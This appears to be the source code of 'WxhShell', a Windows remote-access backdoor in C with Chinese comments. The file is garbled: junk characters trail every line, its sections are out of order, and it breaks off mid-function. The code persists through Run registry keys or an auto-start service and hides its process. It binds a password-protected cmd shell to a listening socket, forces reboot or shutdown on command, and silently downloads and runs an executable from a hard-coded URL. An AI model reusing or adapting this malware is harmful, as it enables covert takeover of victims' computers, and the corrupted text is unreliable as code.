    else { 3_G0eIE"u  
    closesocket(wsh); An>ai N]  
    ExitThread(0);  cL .z{  
    } RCa1S^.  
    break; h7ZH/g$)  
    } _fgsHx>l7  
  // 关机 \="U|LzG  
  case 'd': { prM)t8SE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&=SvM.f  
    if(Boot(SHUTDOWN)) V*JqC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]Hz?i  
    else { ?$)a[UnqX  
    closesocket(wsh); f.` 8vaV  
    ExitThread(0); k2lo GvBJ  
    } F+VNrt-  
    break; DNDzK iMk  
    } C!547(l[  
  // 获取shell 29 !QE>Q  
  case 's': { wGMoh.GTh  
    CmdShell(wsh); ;*K;)C  
    closesocket(wsh); XU<owk  
    ExitThread(0); h('5x,G%  
    break; `Gxb98h/r  
  } 3,Z;J5VL4!  
  // 退出 C3.]dsv:  
  case 'x': { P$Y w'3v/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G \a`F'Oo  
    CloseIt(wsh); `"'u mIz  
    break; "Cvr("'O  
    } KBi(Ns#+  
  // 离开  0zr%8Q(Q  
  case 'q': { k 5% )  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VJA/d2Oys  
    closesocket(wsh); {c I~Nf?i  
    WSACleanup();  3bd`q $  
    exit(1); z+M{z r  
    break; a{^ 2c!  
        } 3J8>r|u;1'  
  } 5s%e9x|kP  
  } RI<s mt.Ng  
( +S-  
  // 提示信息 zNGUll$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {]|<|vc;GI  
} Nz"K`C>/  
  } B<myt79F_[  
T6?03cSE  
  return; 1W.oRD&8j/  
} J 7dHD(R8  
%H_-`A`  
// shell模块句柄 ^v5]Aq~X  
int CmdShell(SOCKET sock) u"T9w]Z\  
{ s7jNRY V  
STARTUPINFO si; nT~XctwF  
ZeroMemory(&si,sizeof(si)); `X ()"Qw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E>E^t=; [  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eMEKR5*-O  
PROCESS_INFORMATION ProcessInfo; ET H ($$M  
char cmdline[]="cmd"; e&A3=a~\s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7On.y*  
  return 0; RV]QVA*i  
} HdY#cVxy  
R:'&>.AUw  
// 自身启动模式 B1I{@\z0G  
int StartFromService(void) xU{0rM"  
{ ~ e<,GUx(]  
typedef struct 2t0VbAO 1{  
{ "9X(.v0ze  
  DWORD ExitStatus; @^# 9N!Fj]  
  DWORD PebBaseAddress; 7bGOE_r  
  DWORD AffinityMask; W?N+7_%'  
  DWORD BasePriority; GVf[H2%H  
  ULONG UniqueProcessId; 'm<L}d  
  ULONG InheritedFromUniqueProcessId; z#n+iC$9  
}   PROCESS_BASIC_INFORMATION; t"~X6o|R  
1n*"C!q  
PROCNTQSIP NtQueryInformationProcess; S,'ekWVD  
9qzHy}A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1j}e2H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $QT% -9&  
t82*rC IB{  
  HANDLE             hProcess; 1} _<qk9  
  PROCESS_BASIC_INFORMATION pbi; @.dM1DN)  
U(~Nmo'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p2O[r  
  if(NULL == hInst ) return 0; tp ky  
5YUe>P D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V.+a}J=Cw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l r~>!O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $fPiR  
) 5x$J01S  
  if (!NtQueryInformationProcess) return 0; b ts*qx&)  
;?-{Uk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AXo)(\  
  if(!hProcess) return 0; xkkG#n)  
ds2xl7jg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h7xgLe@  
nxm*.&#p?  
  CloseHandle(hProcess); K)\D,5X^  
K|;L{[[yH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '81Rwp  
if(hProcess==NULL) return 0; zR=g<e1xe  
x;4m@)Mu  
HMODULE hMod; 5mZ9rLn  
char procName[255]; k?Zcv*[)D+  
unsigned long cbNeeded; ;>]dwsA*P  
(5RZLRn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ov]Rn  
dVJ9cJ9^  
  CloseHandle(hProcess); E /ycPqD  
mm | *  
if(strstr(procName,"services")) return 1; // 以服务启动 j{m{hVa  
K=P LOC5  
  return 0; // 注册表启动 V* ,u;*  
} L_=3`xE _  
fKs3H?|  
// 主模块 ?xE'i[F @  
int StartWxhshell(LPSTR lpCmdLine) #vR5a}BAk  
{ RS7J~Q  
  SOCKET wsl; ,nw5 M.D_  
BOOL val=TRUE; ;tZ8Sh)  
  int port=0; (B].ppBii  
  struct sockaddr_in door; z+?48 }  
$bk_%R}s  
  if(wscfg.ws_autoins) Install(); <@v|~ AO4~  
"W"r0"4  
port=atoi(lpCmdLine); ZgzYXh2  
7{[i)  
if(port<=0) port=wscfg.ws_port; XfwH1n/o#  
w`Rt"d_B  
  WSADATA data; Z1DF)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :XO7#P  
b$B-LvHd1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zOL*XZ0c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1[". z{V3*  
  door.sin_family = AF_INET; ^cojETOv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @N\ Ht'f  
  door.sin_port = htons(port); Wp= &nh  
p"NuR4   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `6G:<wX  
closesocket(wsl); `$r?^|T  
return 1; 71HrpTl1fw  
} oeG?2!Zh  
??Dv\yLZI  
  if(listen(wsl,2) == INVALID_SOCKET) { tkhEjTZ  
closesocket(wsl); YZ5[# E@l  
return 1; V8z*mnD  
} @<p9 O0  
  Wxhshell(wsl); '\LU 8VC  
  WSACleanup(); &. "ltB  
1++Fs  
return 0; S!~p/bB[+I  
z%/<|`  7  
} + hMF\@  
A:,V)  
// 以NT服务方式启动 _dn*H-5hO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G)7J$4R  
{ <``krPi  
DWORD   status = 0; >  ,P,{"  
  DWORD   specificError = 0xfffffff; VD2o#.7*eu  
%A;s 3 ]V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O>arCr=H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @XX7ydG5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D?9EO=  
  serviceStatus.dwWin32ExitCode     = 0; ; HjT  
  serviceStatus.dwServiceSpecificExitCode = 0; O:[@?l  
  serviceStatus.dwCheckPoint       = 0; #4?:4Im#  
  serviceStatus.dwWaitHint       = 0; J y0TVjA  
[[8h*[:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |>=\ VX17  
  if (hServiceStatusHandle==0) return; VDPq3`$+v{  
>qynd'eToR  
status = GetLastError(); {:BY IdX  
  if (status!=NO_ERROR) ]hA]o7 k  
{ 8HH\wu$$e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6T A2  
    serviceStatus.dwCheckPoint       = 0; +P"u1q*+p  
    serviceStatus.dwWaitHint       = 0; /)xQ# yfX  
    serviceStatus.dwWin32ExitCode     = status; 0Ewt >~n  
    serviceStatus.dwServiceSpecificExitCode = specificError; ju;Myi}a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M9sB2Ips<  
    return; c jBHczkY  
  } kpO+  
VufG7%S{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J~rjI24  
  serviceStatus.dwCheckPoint       = 0; eq Wb>$  
  serviceStatus.dwWaitHint       = 0; Qx !! Ttd{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {c:ef@'U  
} v`u>; S_  
=J&aN1Hgt  
// 处理NT服务事件,比如:启动、停止 O7tL,)Vv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 55|.MXzq  
{ FuZLE%gP  
switch(fdwControl) 3+# "4O  
{ _<G%  
case SERVICE_CONTROL_STOP: Kkz2N  
  serviceStatus.dwWin32ExitCode = 0; DYvg^b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G,b1u"  
  serviceStatus.dwCheckPoint   = 0; h\$juIQa  
  serviceStatus.dwWaitHint     = 0; >iB-gj}>X  
  { x<e-%HB*-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oe%jV,S|V  
  } @IwVR  
  return; k34!*(`q  
case SERVICE_CONTROL_PAUSE: s_N]$3'[E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vxC,8Z  
  break; eFeWjB'<7  
case SERVICE_CONTROL_CONTINUE: lw"5p)aB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )IP{yL8c  
  break; dd%-bI^  
case SERVICE_CONTROL_INTERROGATE: Z<0+<tt  
  break; P&@[ j0  
}; V2?&3Z) W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZM%z"hO9R  
} wUz)9n 6j  
`L=$ ,7`  
// 标准应用程序主函数 Bswd20(w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r'ydjy  
{ a,N?GxK~  
|E)IJj 3  
// 获取操作系统版本 = A !;`G  
OsIsNt=GetOsVer(); R'q:Fc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /M "E5  
|cBpX+D  
  // 从命令行安装 yxa~R z/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 88ydAx#P  
mJ|7Jc  
  // 下载执行文件 ep<2u x  
if(wscfg.ws_downexe) { VoJelyzh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d>Z{TFY  
  WinExec(wscfg.ws_filenam,SW_HIDE); AT{ewb  
} jF\J+:5M  
]{[VTjC7rY  
if(!OsIsNt) { :>[;XT<  
// 如果时win9x,隐藏进程并且设置为注册表启动 4JHFn [%  
HideProc(); E5M*Gs  
StartWxhshell(lpCmdLine); "=W7=V8w  
} $W8  
else @:. 6'ji,`  
  if(StartFromService()) -hP@L ++D  
  // 以服务方式启动 4565U  
  StartServiceCtrlDispatcher(DispatchTable); 1lNg} !)[K  
else m GWT</=[$  
  // 普通方式启动 qu[x=LZ_  
  StartWxhshell(lpCmdLine); y\Z-x  
15r<n  
return 0; h<9h2  
} V\kf6E  
-NVk>ENL4  
P$)9osr  
Qko}rd_M  
=========================================== 'Z7oPq6  
MWCP/~>a2  
kvdzD6T 9  
9`)NFy?  
E YUr.#:  
?|:!PF*L~z  
" ^AD/N|X^  
sf?D4UdIH  
#include <stdio.h> S{z%Q  
#include <string.h> 'W$jHs  
#include <windows.h> _SC>EP8:Z  
#include <winsock2.h> 8*)zoT*A  
#include <winsvc.h> H#G~b""mY  
#include <urlmon.h> mB#`{|1[  
{61NLF\0H  
#pragma comment (lib, "Ws2_32.lib") o"v> BhpC  
#pragma comment (lib, "urlmon.lib") r}QW!^F  
_qmB PUx  
#define MAX_USER   100 // 最大客户端连接数 "31GC7  
#define BUF_SOCK   200 // sock buffer DnaG$a<  
#define KEY_BUFF   255 // 输入 buffer 9\Mesf1$o  
-b(:kAwStk  
#define REBOOT     0   // 重启 [(`T*c.#.X  
#define SHUTDOWN   1   // 关机 ,_Fq*6  
R6)p4#|i  
#define DEF_PORT   5000 // 监听端口 N:clwmo  
cCU'~  
#define REG_LEN     16   // 注册表键长度 m5zP|s1`['  
#define SVC_LEN     80   // NT服务名长度 Qkk~{OuC  
(J<@e!@NE  
// 从dll定义API H U$:x"AW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?i(Tc!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tZU"Ud  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OV>T}Fq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : O t\l  
+]CKu$,8  
// wxhshell配置信息 Sd^e!? bp  
struct WSCFG { Z5-"a?{Y  
  int ws_port;         // 监听端口 !V@Y \M d  
  char ws_passstr[REG_LEN]; // 口令 P}&7G-  
  int ws_autoins;       // 安装标记, 1=yes 0=no $1\<>sJH  
  char ws_regname[REG_LEN]; // 注册表键名 0tn5>Dsk  
  char ws_svcname[REG_LEN]; // 服务名 J}`K&DtM9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aiw~4ix  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g;v{JB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v2EM| Q xp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,A =%!p+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d)r=W@tF]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Lvv`_  
+5?hkQCX1^  
}; yKOf]m>#  
w69`vK  
// default Wxhshell configuration ^67P(h  
struct WSCFG wscfg={DEF_PORT, ):LJ {.0R  
    "xuhuanlingzhe", ( rZq0*  
    1, s4MP!n?gB  
    "Wxhshell", N.xmHvPk  
    "Wxhshell", }%$9nq3  
            "WxhShell Service", 4p>@UB&U  
    "Wrsky Windows CmdShell Service", TDtk'=;  
    "Please Input Your Password: ", Ao`9fI#q  
  1, t}nZrD  
  "http://www.wrsky.com/wxhshell.exe", m++VW0Y>  
  "Wxhshell.exe" $CL=M  
    }; 4^70r9hV9  
]4uIb+(S  
// 消息定义模块 4(u+YW GX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |%&WYm6&#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YIgzFt[L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aKH\8O4L5  
char *msg_ws_ext="\n\rExit."; o~<fw]y  
char *msg_ws_end="\n\rQuit."; @U5 +1Hjc  
char *msg_ws_boot="\n\rReboot..."; kc~Z1  
char *msg_ws_poff="\n\rShutdown..."; dHf_&X2A  
char *msg_ws_down="\n\rSave to "; X?4tOsd  
D9#e2ex]  
char *msg_ws_err="\n\rErr!"; f} } Bb8  
char *msg_ws_ok="\n\rOK!"; h5Qxa$Oq  
2c8,H29  
char ExeFile[MAX_PATH]; 1K^/@^  
int nUser = 0; ':o.vQdJ  
HANDLE handles[MAX_USER]; y<)Lr}gP  
int OsIsNt; *|euC"5c  
QnaMjDh$6  
SERVICE_STATUS       serviceStatus; b LL!iz?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Lc X7gU>  
']Y:f)i#  
// 函数声明 -k$rkKHZ(  
int Install(void); Q9%N>h9  
int Uninstall(void); CmJ*oXyi  
int DownloadFile(char *sURL, SOCKET wsh); TrkoLJmB  
int Boot(int flag); : ]CZS  
void HideProc(void); 0qJ(3N  
int GetOsVer(void); `jP\*k`~]  
int Wxhshell(SOCKET wsl); zq{L:.#ha  
void TalkWithClient(void *cs); c/T]=S[  
int CmdShell(SOCKET sock); apGf@b  
int StartFromService(void); !i)?j@D  
int StartWxhshell(LPSTR lpCmdLine); 2+"#  
V)N9V|O'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5'l+'ox@J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tQ?? nI2  
Q^fli"_ :  
// 数据结构和表定义 U6.$F#n  
SERVICE_TABLE_ENTRY DispatchTable[] = @#8F5G#  
{ \P{VJ^) 0  
{wscfg.ws_svcname, NTServiceMain}, DOU\X N   
{NULL, NULL} {CQA@p:Y}  
}; m:p1O3[R  
q7m-} mBN~  
// 自我安装 "'6KQnpZ  
int Install(void) /x$O6gi  
{ q'K=Ly+  
  char svExeFile[MAX_PATH]; HK:?Y[ebs  
  HKEY key; Eer rIV  
  strcpy(svExeFile,ExeFile); c1MALgK~}\  
61!R -  
// 如果是win9x系统,修改注册表设为自启动 i'`Z$3EF)  
if(!OsIsNt) { 7z F29gC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %G\rL.H|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dk{yx(Ty  
  RegCloseKey(key); ?N$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iSIj ?.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kS=OX5  
  RegCloseKey(key); L F Z  
  return 0; u4#BD!W  
    } t55 '  
  } #Q$9Eq8"[  
} }@a_x,O/x}  
else { ":eHR}Hzx  
~{U~9v^v (  
// 如果是NT以上系统,安装为系统服务 P) GBuW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R2t5T-8`c  
if (schSCManager!=0) mm:\a-8j  
{ Sn" 1XU  
  SC_HANDLE schService = CreateService ^aXyho  
  ( yy/wSk  
  schSCManager, 1 ljgq]($  
  wscfg.ws_svcname, Ojie.+'SB  
  wscfg.ws_svcdisp, $S=lm {  
  SERVICE_ALL_ACCESS, [y=k}W}z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p# O%<S@?  
  SERVICE_AUTO_START, Tv~<W4  
  SERVICE_ERROR_NORMAL, x:@HtTX  
  svExeFile, >!`T=(u!  
  NULL, G~u94rw|:  
  NULL, {gK i15t  
  NULL, ,j9}VnW)  
  NULL, !t~S.`vF  
  NULL m{gt(n  
  ); IqcPml{\  
  if (schService!=0) c%Kv"Z%f  
  { 8Ay#6o  
  CloseServiceHandle(schService); rK}*Uwut  
  CloseServiceHandle(schSCManager); C37KvLQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f>-OwL($P  
  strcat(svExeFile,wscfg.ws_svcname); QZt/Rm>W0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OHM.xw*?.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i nF&Pv  
  RegCloseKey(key); B.0(}@  
  return 0; URX>(Y}g9^  
    } '1^\^)&q  
  } SDDs}mV  
  CloseServiceHandle(schSCManager); &hyr""NkAm  
} T3%yV*F,  
} "2N3L8?k  
"7Zb)Ocb  
return 1; GkaIqBS  
} yi r#G""7  
{$oZR" MP  
// 自我卸载 z Sj.Y{J  
int Uninstall(void) +%$!sp?  
{ !$qNugLg  
  HKEY key; )?I1*(1{A  
o @~XX@5l  
if(!OsIsNt) { j?[fpN$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {   VG q'  
  RegDeleteValue(key,wscfg.ws_regname); kO~xE-(=  
  RegCloseKey(key); 9I+;waLlB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h,rGa\X~0  
  RegDeleteValue(key,wscfg.ws_regname); P_,f  
  RegCloseKey(key); dB^J}_wp  
  return 0; #@ 3RYx  
  } k "'q   
} !+JSguy  
} #O\4XZ,Lv  
else { Z\6azhbI}  
P/,7CfyPd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P\*-n"  
if (schSCManager!=0) ov*zQP  
{ &CCB;Oi%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AL&}WbUC  
  if (schService!=0) <!-8g!  
  { O]4!U#A  
  if(DeleteService(schService)!=0) { 3E y#?   
  CloseServiceHandle(schService); Ajs<a(,6  
  CloseServiceHandle(schSCManager); It(8s)5  
  return 0; * j:  
  } Bl3G_Ep   
  CloseServiceHandle(schService); 0F0V JE  
  } &gIu<*u<  
  CloseServiceHandle(schSCManager); DTl M}  
} )wCA8  
} ~pX&>v\T  
f?2Y np=@  
return 1; <@A/`3_O)  
} HI,1~ Jw+  
{!o-y=  
// 从指定url下载文件 V7[Dvg:W  
int DownloadFile(char *sURL, SOCKET wsh) HJ !)D~M{  
{ 1LJ ?Ka[_*  
  HRESULT hr; E`=y9r* Z  
char seps[]= "/"; r*0a43mC1  
char *token; fP&F$"o8  
char *file; slOki|p;  
char myURL[MAX_PATH]; y@nWa\i G  
char myFILE[MAX_PATH]; ;=5V)1~i1;  
V/"XC3/n*  
strcpy(myURL,sURL); GWM2l?zOP  
  token=strtok(myURL,seps); / h0-qW  
  while(token!=NULL) (W5E\hjJ  
  { QKwWX_3%Z]  
    file=token; \Y Cj/tG8  
  token=strtok(NULL,seps); B(:Kw;r?  
  } Z, lUO.  
K.*?\)&  
GetCurrentDirectory(MAX_PATH,myFILE); 0`h[|FYV  
strcat(myFILE, "\\"); m{JiF-=u  
strcat(myFILE, file); Mpk^e_9`<  
  send(wsh,myFILE,strlen(myFILE),0); ^R,5T}J.  
send(wsh,"...",3,0); 5y(irbk7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k {s#wJA  
  if(hr==S_OK) 9(|[okB  
return 0; T 2x~fiM  
else xp)#a_}  
return 1; `y P-,lA$  
R`76Ae`R8  
} q[M7)-  
[9BlP  
// 系统电源模块 1.p?P] .  
int Boot(int flag) C: kl/9M@  
{ T55l-.>  
  HANDLE hToken; }E*d)n|  
  TOKEN_PRIVILEGES tkp; CV]PCq!  
B 0 K2Uw  
  if(OsIsNt) { (PsA[>F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >h[tHM O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |GdA0y\v*}  
    tkp.PrivilegeCount = 1; S/~6%uJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -fL|e/   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l]sO[`X  
if(flag==REBOOT) { Jgtv ia  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :{_Or'L  
  return 0; L9Fx Lw41  
} iN`/pW/JE  
else { O3bK>9<K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,=$yvZs4[]  
  return 0; nXi6Q+YI  
} j"94hWb  
  } j@GMZz<  
  else { 1yX&iO^d  
if(flag==REBOOT) { T2Y`q'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o&(%:|  
  return 0; |i|YlWQS  
} Zr}`W \  
else { LTzf&TZbx5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <i]%T~\Af)  
  return 0; }[LK/@h  
} R)<Fqa7Tm  
} Z]w_2- -  
O])/kS`  
return 1; et9 c<'  
} Tw!x*  
~@'|R%jJ  
// win9x进程隐藏模块 /jj@ =H  
void HideProc(void) xZ;';}&pj  
{ Ae ue:u>  
A8Jbl^7E+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bj@&c>  
  if ( hKernel != NULL ) ^<y$+HcH  
  { /23v]HEPy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *,'"\n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <}4|R_xY#  
    FreeLibrary(hKernel); +S/8{2%?DG  
  } c$e~O-OVD?  
(_nkscf  
return; H.>KYiv+  
} l@j!j]nE  
<m@U`RFm  
// 获取操作系统版本 c#Y9L+O  
int GetOsVer(void) BwEL\*$g  
{ %+pXzw`B  
  OSVERSIONINFO winfo; P `2Rte6s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "4"L"lJ   
  GetVersionEx(&winfo); V KR6i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *-P@|eg  
  return 1; (1Kh9w:^"  
  else {ld([  
  return 0; _')KDy7  
} E* lqCh  
4cV(Z-\  
// 客户端句柄模块 :$}67b)MO  
int Wxhshell(SOCKET wsl) [6/ %ynlP  
{ #a .aD+d'  
  SOCKET wsh; a\%g_Q){  
  struct sockaddr_in client; Wg$MKc9Vy[  
  DWORD myID; |20p#]0E+  
S8]g'!  
  while(nUser<MAX_USER) q-!m|<Z  
{ 5k\61(*s  
  int nSize=sizeof(client); yXEC@#?|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _C*}14 "3  
  if(wsh==INVALID_SOCKET) return 1; 7M$>'PfO  
3ea6g5kX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]0O pd9  
if(handles[nUser]==0) ml3]CcKn  
  closesocket(wsh);  UnO -?  
else kj-S d^  
  nUser++; 8<g5.$xyz  
  } /sYD+*a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (>Tu~Vo  
)D#*Q~   
  return 0; ^&bRX4pYo  
} b7!Qn}  
Y|8:;u'  
// 关闭 socket 2R=DB`3  
void CloseIt(SOCKET wsh) L,mQ   
{ vw>2(K=e1  
closesocket(wsh); v z^<YZMu  
nUser--; x%+aKZ(m)  
ExitThread(0); }e2(T  
} 8wVY0oRnU  
e*@{%S  
// 客户端请求句柄 f 1w~!O9  
void TalkWithClient(void *cs) k$H%.l;E  
{ yHHt(GM|o  
OH5>vV 'i  
  SOCKET wsh=(SOCKET)cs; qw@puw@D  
  char pwd[SVC_LEN]; qHNE8\9  
  char cmd[KEY_BUFF]; ogL EtqT  
char chr[1]; BT)X8>ct  
int i,j; |tv"B@`  
kGd<5vCs  
  while (nUser < MAX_USER) { S+'rG+NJ  
GP&vLt51  
if(wscfg.ws_passstr) { R2(3 >`FJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ({JHZ6uZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mk=mT3=#  
  //ZeroMemory(pwd,KEY_BUFF); uiJS8(Cb  
      i=0; Si_%Rr&jW  
  while(i<SVC_LEN) { ,y+$cM(  
5B&;uY  
  // 设置超时 *xON W  
  fd_set FdRead; wk6NG/<  
  struct timeval TimeOut; &v"3*.org@  
  FD_ZERO(&FdRead); dbOdq  
  FD_SET(wsh,&FdRead); 9lGOWRxR)  
  TimeOut.tv_sec=8; Qu} W/j|3  
  TimeOut.tv_usec=0; ax{ ;:fW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !-N6l6N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6ezS{Q  
34wkzu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZTU&, 1Y;  
  pwd=chr[0]; TQ`Rk;0R  
  if(chr[0]==0xd || chr[0]==0xa) { X=Ys<TM,  
  pwd=0; "TUe%o  
  break; -i4&v7"  
  } s/7 A7![  
  i++; [Z~ 2  
    } +V{7")px6  
oyNSh8c7c  
  // 如果是非法用户,关闭 socket BCe|is0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w.lAQ5)I%\  
} OM|Fwr$  
Pt&(npjN,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0H0-U'l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?W0)nQU  
\MK*by  
while(1) { CBDG./  
m8 SA6Y\  
  ZeroMemory(cmd,KEY_BUFF); n @?4b8"  
OKi\zS  
      // 自动支持客户端 telnet标准   <)\y#N  
  j=0; o/C\d$i'  
  while(j<KEY_BUFF) { +8v9flh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F[4;Xq  
  cmd[j]=chr[0]; Iw<jT|y)  
  if(chr[0]==0xa || chr[0]==0xd) { H)aQ3T4N5  
  cmd[j]=0; f+|$&p%  
  break; Qb! PRCHQ  
  } @h*fFiY&{  
  j++; @q"m5  
    } M;0]u.D*=  
/s-A?lw^2  
  // 下载文件 mo1oyQg8  
  if(strstr(cmd,"http://")) { Wm H~m k"  
